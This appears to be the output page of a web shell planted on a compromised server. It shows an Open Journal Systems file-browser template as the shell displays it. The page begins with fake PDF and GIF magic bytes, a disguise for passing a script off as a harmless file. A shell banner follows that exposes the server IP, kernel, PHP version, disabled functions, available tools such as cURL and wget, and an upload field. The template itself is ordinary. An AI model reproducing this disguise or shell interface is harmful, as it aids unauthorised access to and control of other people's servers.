%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/pedagonal/templates/manager/files/ |
Upload File : |
{**
* templates/manager/files/index.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Files browser.
*
*}
{strip}
{assign var="pageTitle" value="manager.filesBrowser"}
{include file="common/header.tpl"}
{/strip}
{assign var=displayDir value="/$currentDir"}
<h3>{translate key="manager.files.indexOfDir" dir=$displayDir|escape}</h3>
{if $currentDir}
<p><a href="{url op="files" path=$parentDir|explode:"/"}" class="action">< {translate key="manager.files.parentDir"}</a></p>
{/if}
<table width="100%" class="listing">
<tr>
<td class="headseparator" colspan="6"> </td>
</tr>
<tr class="heading" valign="bottom">
<td></td>
<td width="25%">{translate key="common.fileName"}</td>
<td width="25%">{translate key="common.type"}</td>
<td width="25%">{translate key="common.dateModified"}</td>
<td width="5%">{translate key="common.size"}</td>
<td width="20%" align="right">{translate key="common.action"}</td>
</tr>
<tr>
<td class="headseparator" colspan="6"> </td>
</tr>
{foreach from=$files item=file name=files}
{if $currentDir}
{assign var=filePath value=$currentDir|concat:"/":$file.name}
{else}
{assign var=filePath value=$file.name}
{/if}
{assign var=filePath value=$filePath|escape}
<tr valign="top">
<td>{if $file.isDir}{icon name="folder"}{else}{icon name="letter"}{/if}</td>
<td><a href="{url op="files" path=$filePath|explode:"/"}">{$file.name}</a></td>
<td>{$file.mimetype|escape|default:"—"}</td>
<td>{$file.mtime|escape|date_format:$datetimeFormatShort}</td>
<td>{$file.size|escape|default:"—"}</td>
<td align="right" class="nowrap">
{if !$file.isDir}
<a href="{url op="files" path=$filePath|explode:"/" download=1}" class="action">{translate key="common.download"}</a> |
{/if}
<a href="{url op="fileDelete" path=$filePath|explode:"/"}" onclick="return confirm('{translate|escape:"jsparam" key="manager.files.confirmDelete"}')" class="action">{translate key="common.delete"}</a>
</td>
</tr>
<tr>
<td colspan="6" class="{if $smarty.foreach.files.last}end{/if}separator"> </td>
</tr>
{foreachelse}
<tr>
<td colspan="6" class="nodata">{translate key="manager.files.emptyDir"}</td>
</tr>
<tr>
<td colspan="6" class="endseparator"> </td>
</tr>
{/foreach}
</table>
<form method="post" action="{url op="fileUpload" path=$currentDir|explode:"/"}" enctype="multipart/form-data">
<input type="file" size="20" name="file" class="uploadField" />
<input type="submit" value="{translate key="manager.files.uploadFile"}" class="button" />
</form>
<form method="post" action="{url op="fileMakeDir" path=$currentDir|explode:"/"}" enctype="multipart/form-data">
<input type="text" size="20" maxlength="255" name="dirName" class="textField" />
<input type="submit" value="{translate key="manager.files.createDir"}" class="button" />
</form>
<p>{translate key="manager.files.note"}</p>
{include file="common/footer.tpl"}